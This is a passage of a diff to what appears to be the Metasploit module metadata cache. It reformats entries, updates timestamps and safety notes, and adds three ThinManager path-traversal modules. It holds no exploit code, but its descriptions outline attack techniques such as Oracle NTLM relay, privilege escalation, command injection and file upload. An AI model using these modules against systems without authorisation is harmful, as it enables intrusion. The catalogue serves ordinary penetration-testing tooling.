"", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/cisco_config.rb", "is_install_path": true, "ref_name": "admin/networking/cisco_config", @@ -8444,19 +8519,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_dcnm_auth_bypass": { "name": "Cisco DCNM auth bypass", "fullname": "auxiliary/admin/networking/cisco_dcnm_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-01", "type": "auxiliary", @@ -8509,9 +8585,7 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_dcnm_download": { "name": "Cisco Data Center Network Manager Unauthenticated File Download", @@ -8553,7 +8627,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-13 18:55:39 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/cisco_dcnm_download.rb", "is_install_path": true, "ref_name": "admin/networking/cisco_dcnm_download", @@ -8561,12 +8635,17 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_secure_acs_bypass": { "name": "Cisco Secure ACS Unauthorized Password Change", @@ -8605,7 +8684,7 @@ "https" ], "targets": null, - "mod_time": "2020-07-16 05:43:52 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/cisco_secure_acs_bypass.rb", "is_install_path": true, "ref_name": "admin/networking/cisco_secure_acs_bypass", @@ -8613,12 +8692,18 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_vpn_3000_ftp_bypass": { "name": "Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access", @@ -8642,12 +8727,8 @@ "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-07-24 16:42:43 +0000", "path": "/modules/auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass.rb", @@ -8660,9 +8741,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -8670,16 +8749,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/f5_config": { "name": "F5 Configuration Importer", "fullname": "auxiliary/admin/networking/f5_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8687,20 +8762,14 @@ "h00die" ], "description": "This module imports an F5 device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/f5_config.rb", "is_install_path": true, "ref_name": "admin/networking/f5_config", @@ -8709,20 +8778,14 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "SideEffects": [ - + "crash-safe" ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/juniper_config": { "name": "Juniper Configuration Importer", @@ -8737,20 +8800,14 @@ "h00die" ], "description": "This module imports a Juniper ScreenOS or JunOS device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/juniper_config.rb", "is_install_path": true, "ref_name": "admin/networking/juniper_config", @@ -8759,14 +8816,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "SideEffects": [ - + "crash-safe" ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -8784,9 +8837,7 @@ "auxiliary_admin/networking/mikrotik_config": { "name": "Mikrotik Configuration Importer", "fullname": "auxiliary/admin/networking/mikrotik_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8794,20 +8845,14 @@ "h00die" ], "description": "This module imports a Mikrotik device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/mikrotik_config.rb", "is_install_path": true, "ref_name": "admin/networking/mikrotik_config", @@ -8816,14 +8861,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "SideEffects": [ - + "crash-safe" ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -8838,6 +8879,137 @@ } ] }, + "auxiliary_admin/networking/thinmanager_traversal_delete": { + "name": "ThinManager Path Traversal (CVE-2023-2915) Arbitrary File Delete", + "fullname": "auxiliary/admin/networking/thinmanager_traversal_delete", + "aliases": [], + "rank": 300, + "disclosure_date": "2023-08-17", + "type": "auxiliary", + "author": [ + "Michael Heinzl", + "Tenable" + ], + "description": "This module exploits a path traversal vulnerability (CVE-2023-2915) in\n ThinManager <= v13.1.0 to delete arbitrary files from the system.\n The affected service listens by default on TCP port 2031 and runs in the\n context of NT AUTHORITY\\SYSTEM.", + "references": [ + "CVE-2023-2915", + "URL-https://www.tenable.com/security/research/tra-2023-28", + "URL-https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471" + ], + "platform": "", + "arch": "", + "rport": 2031, + "autofilter_ports": [], + "autofilter_services": [], + "targets": null, + "mod_time": "2025-06-23 19:38:36 +0000", + "path": "/modules/auxiliary/admin/networking/thinmanager_traversal_delete.rb", + "is_install_path": true, + "ref_name": "admin/networking/thinmanager_traversal_delete", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [] + }, + "auxiliary_admin/networking/thinmanager_traversal_upload": { + "name": "ThinManager Path Traversal (CVE-2023-27855) Arbitrary File Upload", + "fullname": "auxiliary/admin/networking/thinmanager_traversal_upload", + "aliases": [], + "rank": 300, + "disclosure_date": "2023-04-05", + "type": "auxiliary", + "author": [ + "Michael Heinzl", + "Tenable" + ], + "description": "This module exploits a path traversal vulnerability (CVE-2023-27855) in\n ThinManager <= v13.0.1 to upload arbitrary files to the target system.\n The affected service listens by default on TCP port 2031 and runs in the\n context of NT AUTHORITY\\SYSTEM.", + "references": [ + "CVE-2023-27855", + "URL-https://www.tenable.com/security/research/tra-2023-13", + "URL-https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1138640" + ], + "platform": "", + "arch": "", + "rport": 2031, + "autofilter_ports": [], + "autofilter_services": [], + "targets": null, + "mod_time": "2025-06-23 19:38:36 +0000", + "path": "/modules/auxiliary/admin/networking/thinmanager_traversal_upload.rb", + "is_install_path": true, + "ref_name": "admin/networking/thinmanager_traversal_upload", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [] + }, + "auxiliary_admin/networking/thinmanager_traversal_upload2": { + "name": "ThinManager Path Traversal (CVE-2023-2917) Arbitrary File Upload", + "fullname": "auxiliary/admin/networking/thinmanager_traversal_upload2", + "aliases": [], + "rank": 300, + "disclosure_date": "2023-08-17", + "type": "auxiliary", + "author": [ + "Michael Heinzl", + "Tenable" + ], + "description": "This module exploits a path traversal vulnerability (CVE-2023-2917) in\n ThinManager <= v13.1.0 to upload arbitrary files to the target system.\n The affected service listens by default on TCP port 2031 and runs in the\n context of NT AUTHORITY\\SYSTEM.", + "references": [ + "CVE-2023-2917", + "URL-https://www.tenable.com/security/research/tra-2023-28", + "URL-https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471" + ], + "platform": "", + "arch": "", + "rport": 2031, + "autofilter_ports": [], + "autofilter_services": [], + "targets": null, + "mod_time": "2025-06-23 19:38:36 +0000", + "path": "/modules/auxiliary/admin/networking/thinmanager_traversal_upload2.rb", + "is_install_path": true, + "ref_name": "admin/networking/thinmanager_traversal_upload2", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [] + }, "auxiliary_admin/networking/ubiquiti_config": { "name": "Ubiquiti Configuration Importer", "fullname": "auxiliary/admin/networking/ubiquiti_config", @@ -8851,18 +9023,12 @@ "h00die" ], "description": "This module imports an Ubiquiti device configuration.\n The db file within the .unf backup is the data file for\n Unifi. This module can take either the db file or .unf.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-23 11:32:45 +0000", "path": "/modules/auxiliary/admin/networking/ubiquiti_config.rb", @@ -8875,25 +9041,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/vyos_config": { "name": "VyOS Configuration Importer", "fullname": "auxiliary/admin/networking/vyos_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8901,20 +9059,14 @@ "h00die" ], "description": "This module imports a VyOS device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/vyos_config.rb", "is_install_path": true, "ref_name": "admin/networking/vyos_config", @@ -8925,25 +9077,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - "ioc-in-logs" - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/officescan/tmlisten_traversal": { "name": "TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access", "fullname": "auxiliary/admin/officescan/tmlisten_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8977,48 +9121,39 @@ "https" ], "targets": null, - "mod_time": "2017-11-09 03:00:24 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/officescan/tmlisten_traversal.rb", "is_install_path": true, "ref_name": "admin/officescan/tmlisten_traversal", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/ora_ntlm_stealer": { "name": "Oracle SMB Relay Code Execution", "fullname": "auxiliary/admin/oracle/ora_ntlm_stealer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-04-07", "type": "auxiliary", "author": [ "Sh2kerr " ], - "description": "This module will help you to get Administrator access to OS using an unprivileged\n Oracle database user (you need only CONNECT and RESOURCE privileges).\n To do this you must firstly run smb_sniffer or smb_relay module on your sever.\n Then you must connect to Oracle database and run this module Ora_NTLM_stealer.rb\n which will connect to your SMB sever with credentials of Oracle RDBMS.\n So if smb_relay is working, you will get Administrator access to server which\n runs Oracle. If not than you can decrypt HALFLM hash.", + "description": "This module will help you to get Administrator access to OS using an unprivileged\n Oracle database user (you need only CONNECT and RESOURCE privileges).\n To do this you must firstly run smb_sniffer or smb_relay module on your server.\n Then you must connect to Oracle database and run this module Ora_NTLM_stealer.rb\n which will connect to your SMB server with credentials of Oracle RDBMS.\n So if smb_relay is working, you will get Administrator access to server which\n runs Oracle. If not than you can decrypt HALFLM hash.", "references": [ "URL-http://dsecrg.com/pages/pub/show.php?id=17" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb", "is_install_path": true, "ref_name": "admin/oracle/ora_ntlm_stealer", @@ -9026,19 +9161,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oracle_index_privesc": { "name": "Oracle DB Privilege Escalation via Function-Based Index", "fullname": "auxiliary/admin/oracle/oracle_index_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-21", "type": "auxiliary", @@ -9046,21 +9184,17 @@ "David Litchfield", "Moshe Kaplan" ], - "description": "This module will escalate an Oracle DB user to DBA by creating a\n function-based index on a table owned by a more-privileged user.\n Credits to David Litchfield for publishing the technique.", + "description": "This module will escalate an Oracle DB user to DBA by creating a\n function-based index on a table owned by a more-privileged user.\n Credits to David Litchfield for publishing the technique.", "references": [ "URL-http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_index_privesc.rb", "is_install_path": true, "ref_name": "admin/oracle/oracle_index_privesc", @@ -9068,26 +9202,29 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oracle_login": { "name": "Oracle Account Discovery", "fullname": "auxiliary/admin/oracle/oracle_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-11-20", "type": "auxiliary", "author": [ "MC " ], - "description": "This module uses a list of well known default authentication credentials\n to discover easily guessed accounts.", + "description": "This module uses a list of well known default authentication credentials\n to discover easily guessed accounts.", "references": [ "URL-http://www.petefinnigan.com/default/oracle_default_passwords.csv", "URL-https://seclists.org/fulldisclosure/2009/Oct/261" @@ -9095,14 +9232,10 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_login.rb", "is_install_path": true, "ref_name": "admin/oracle/oracle_login", @@ -9110,19 +9243,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "account-lockouts" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oracle_sql": { "name": "Oracle SQL Generic Query", "fullname": "auxiliary/admin/oracle/oracle_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-07", "type": "auxiliary", @@ -9131,19 +9268,15 @@ ], "description": "This module allows for simple SQL statements to be executed\n against an Oracle instance given the appropriate credentials\n and sid.", "references": [ - "URL-https://www.metasploit.com/users/mc" + "URL-http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_sql.rb", "is_install_path": true, "ref_name": "admin/oracle/oracle_sql", @@ -9151,40 +9284,37 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/oraenum": { "name": "Oracle Database Enumeration", "fullname": "auxiliary/admin/oracle/oraenum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Carlos Perez " ], - "description": "This module provides a simple way to scan an Oracle database server\n for configuration parameters that may be useful during a penetration\n test. Valid database credentials must be provided for this module to\n run.", - "references": [ - - ], + "description": "This module provides a simple way to scan an Oracle database server\n for configuration parameters that may be useful during a penetration\n test. Valid database credentials must be provided for this module to\n run.", + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-06-23 09:30:35 +0000", "path": "/modules/auxiliary/admin/oracle/oraenum.rb", "is_install_path": true, "ref_name": "admin/oracle/oraenum", @@ -9192,19 +9322,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/osb_execqr": { "name": "Oracle Secure Backup exec_qr() Command Injection Vulnerability", "fullname": "auxiliary/admin/oracle/osb_execqr", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-14", "type": "auxiliary", @@ -9237,7 +9370,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/osb_execqr.rb", "is_install_path": true, "ref_name": "admin/oracle/osb_execqr", @@ -9245,19 +9378,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/osb_execqr2": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "fullname": "auxiliary/admin/oracle/osb_execqr2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-18", "type": "auxiliary", @@ -9292,7 +9428,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/osb_execqr2.rb", "is_install_path": true, "ref_name": "admin/oracle/osb_execqr2", @@ -9300,26 +9436,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/osb_execqr3": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "fullname": "auxiliary/admin/oracle/osb_execqr3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-13", "type": "auxiliary", "author": [ "MC " ], - "description": "This module exploits an authentication bypass vulnerability\n in login.php in order to execute arbitrary code via a command injection\n vulnerability in property_box.php. This module was tested\n against Oracle Secure Backup version 10.3.0.1.0 (Win32).", + "description": "This module exploits an authentication bypass vulnerability\n in login.php in order to execute arbitrary code via a command injection\n vulnerability in property_box.php. This module was tested\n against Oracle Secure Backup version 10.3.0.1.0 (Win32).", "references": [ "CVE-2010-0904", "OSVDB-66338", @@ -9344,7 +9483,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/osb_execqr3.rb", "is_install_path": true, "ref_name": "admin/oracle/osb_execqr3", @@ -9352,19 +9491,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/post_exploitation/win32exec": { "name": "Oracle Java execCommand (Win32)", "fullname": "auxiliary/admin/oracle/post_exploitation/win32exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-12-07", "type": "auxiliary", @@ -9373,19 +9515,15 @@ ], "description": "This module will create a java class which enables the execution of OS commands.", "references": [ - "URL-https://www.metasploit.com/users/mc" + "URL-http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb", "is_install_path": true, "ref_name": "admin/oracle/post_exploitation/win32exec", @@ -9393,40 +9531,40 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/post_exploitation/win32upload": { "name": "Oracle URL Download", "fullname": "auxiliary/admin/oracle/post_exploitation/win32upload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-02-10", "type": "auxiliary", "author": [ "CG " ], - "description": "This module will create a java class which enables the download\n of a binary from a webserver to the oracle filesystem.", + "description": "This module will create a Java class which enables the download\n of a binary from a webserver to the Oracle filesystem.", "references": [ "URL-http://www.argeniss.com/research/oraclesqlinj.zip" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb", "is_install_path": true, "ref_name": "admin/oracle/post_exploitation/win32upload", @@ -9434,19 +9572,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/sid_brute": { "name": "Oracle TNS Listener SID Brute Forcer", "fullname": "auxiliary/admin/oracle/sid_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-07", "type": "auxiliary", @@ -9455,20 +9597,16 @@ ], "description": "This module simply attempts to discover the protected SID.", "references": [ - "URL-https://www.metasploit.com/users/mc", + "URL-http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/", "URL-http://www.red-database-security.com/scripts/sid.txt" ], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/sid_brute.rb", "is_install_path": true, "ref_name": "admin/oracle/sid_brute", @@ -9476,40 +9614,35 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/oracle/tnscmd": { "name": "Oracle TNS Listener Command Issuer", "fullname": "auxiliary/admin/oracle/tnscmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-01", "type": "auxiliary", "author": [ "MC " ], - "description": "This module allows for the sending of arbitrary TNS commands in order\n to gather information.\n Inspired from tnscmd.pl from www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd", - "references": [ - - ], + "description": "This module allows for the sending of arbitrary TNS commands in order\n to gather information.\n Inspired from tnscmd.pl from www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd", + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-28 00:10:48 +0000", "path": "/modules/auxiliary/admin/oracle/tnscmd.rb", "is_install_path": true, "ref_name": "admin/oracle/tnscmd", @@ -9517,26 +9650,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/pop2/uw_fileretrieval": { "name": "UoW pop2d Remote File Retrieval Vulnerability", "fullname": "auxiliary/admin/pop2/uw_fileretrieval", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-07-14", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module exploits a vulnerability in the FOLD command of the\n University of Washington ipop2d service. By specifying an arbitrary\n folder name it is possible to retrieve any file which is world or group\n readable by the user ID of the POP account. This vulnerability can only\n be exploited with a valid username and password. The From address is\n the file owner.", + "description": "This module exploits a vulnerability in the FOLD command of the\n University of Washington ipop2d service. By specifying an arbitrary\n folder name it is possible to retrieve any file which is world or group\n readable by the user ID of the POP account. This vulnerability can only\n be exploited with a valid username and password. The From address is\n the file owner.", "references": [ "OSVDB-368", "BID-1484" @@ -9544,14 +9680,10 @@ "platform": "", "arch": "", "rport": 109, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/pop2/uw_fileretrieval.rb", "is_install_path": true, "ref_name": "admin/pop2/uw_fileretrieval", @@ -9559,19 +9691,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/postgres/postgres_readfile": { "name": "PostgreSQL Server Generic Query", "fullname": "auxiliary/admin/postgres/postgres_readfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9579,9 +9714,7 @@ "todb " ], "description": "This module imports a file local on the PostgreSQL Server into a\n temporary table, reads it, and then drops the temporary table.\n It requires PostgreSQL credentials with table CREATE privileges\n as well as read privileges to the target file.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5432, @@ -9592,7 +9725,7 @@ "postgres" ], "targets": null, - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/postgres/postgres_readfile.rb", "is_install_path": true, "ref_name": "admin/postgres/postgres_readfile", @@ -9600,21 +9733,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/postgres/postgres_sql": { "name": "PostgreSQL Server Generic Query", "fullname": "auxiliary/admin/postgres/postgres_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9635,7 +9772,7 @@ "postgres" ], "targets": null, - "mod_time": "2024-03-05 17:49:13 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/postgres/postgres_sql.rb", "is_install_path": true, "ref_name": "admin/postgres/postgres_sql", @@ -9643,21 +9780,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": 